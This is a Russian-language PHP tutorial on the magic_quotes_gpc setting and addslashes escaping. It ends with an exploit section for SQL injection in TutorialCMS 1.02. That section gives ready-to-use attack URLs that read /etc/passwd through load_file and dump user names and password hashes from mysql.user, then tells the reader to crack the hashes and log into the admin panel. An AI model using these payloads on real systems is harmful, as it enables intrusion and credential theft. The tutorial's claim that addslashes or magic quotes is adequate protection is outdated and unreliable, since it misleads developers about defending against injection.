Укрощение magic_quotes_gpc
[INTRO]
В настоящей статье пойдет речь об одном из конфигурационных параметров языка программирования PHP —
magic_quotes_gpc. Этот параметр играет важную роль, касающуюся, прежде всего, безопасности функционирования любого веб-приложения, обрабатывающего данные, полученные от пользователя и использующего для их хранения базу данных MySQL.
[At that affect?]
Параметр
magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы
$_GET, $_POST, $_COOKIE). При
magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки ("), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При
magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция
addslashes (выдержка из документации):
PHP код:
$str = "Is your name O'reilly?";
# выводит: Is your name O\'reilly?
echo addslashes($str);
[magic_quotes_gpc 0 or 1?]
Все, вроде бы, просто. Использование в коде приложения функции
addslashes в случае, если заведомо известно, что директива
magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию
addslashes необходимо применять только в том случае, когда
magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции
get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид:
PHP код:
$str = "Is your name O'reilly?";
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;
# выводит при любых настройках PHP: Is your name O\'reilly?
echo $str;
[Create function]
Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид:
PHP код:
function addslashes_for_array(&$arr)
{
foreach($arr as $k=>$v)
{
if (is_array($v))
{
addslashes_for_array($v);
$arr[$k] = $v;
}
else
{
$arr[$k] = addslashes($v);
}
}
}
function fix_magic_quotes_gpc()
{
if (!get_magic_quotes_gpc())
{
addslashes_for_array($_POST);
addslashes_for_array($_GET);
addslashes_for_array($_COOKIE);
}
}
# экранирует при необходииости строки в $_GET, $_POST, $_COOKIE
fix_magic_quotes_gpc();
Следует заметить, что описанный код учитывает также тот факт, что в переменных
$_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк.
[End of]
В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль...
[Example]
Программа:
TutorialCMS 1.02 (возможно и более ранние версии)
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «userName» сценарием activate.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
http://[target]/activate.php?userName=[SQL-inj]
Условие: magic_quotes_gpc =
off (при magic_quotes_gpc=
1 код не уязвим.)
Уязвимый код:
PHP код:
...........
$userName = $_GET["userName"];
$code = $_GET["activate"];
...........
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";
...........
Сайт производителя:
www.wavelinkmedia.com
Скачать TutorialCMS 1.02 http://www.wavelinkmedia.com/scripts/tutorialcms/
Прмеры запросов:
1. Читаем /etc/password
PHP код:
http://[target]/activate.php?userName='+union+select+1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13/*
2. Читаем логины и пароли:
PHP код:
http://[target]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,10,11,12,13/**/from/**/mysql.user/*
Пароль зашифрован в MD5, расшифровываем и пробуем войти в админку:
www.controlstyle.ru, www.milw0rm.com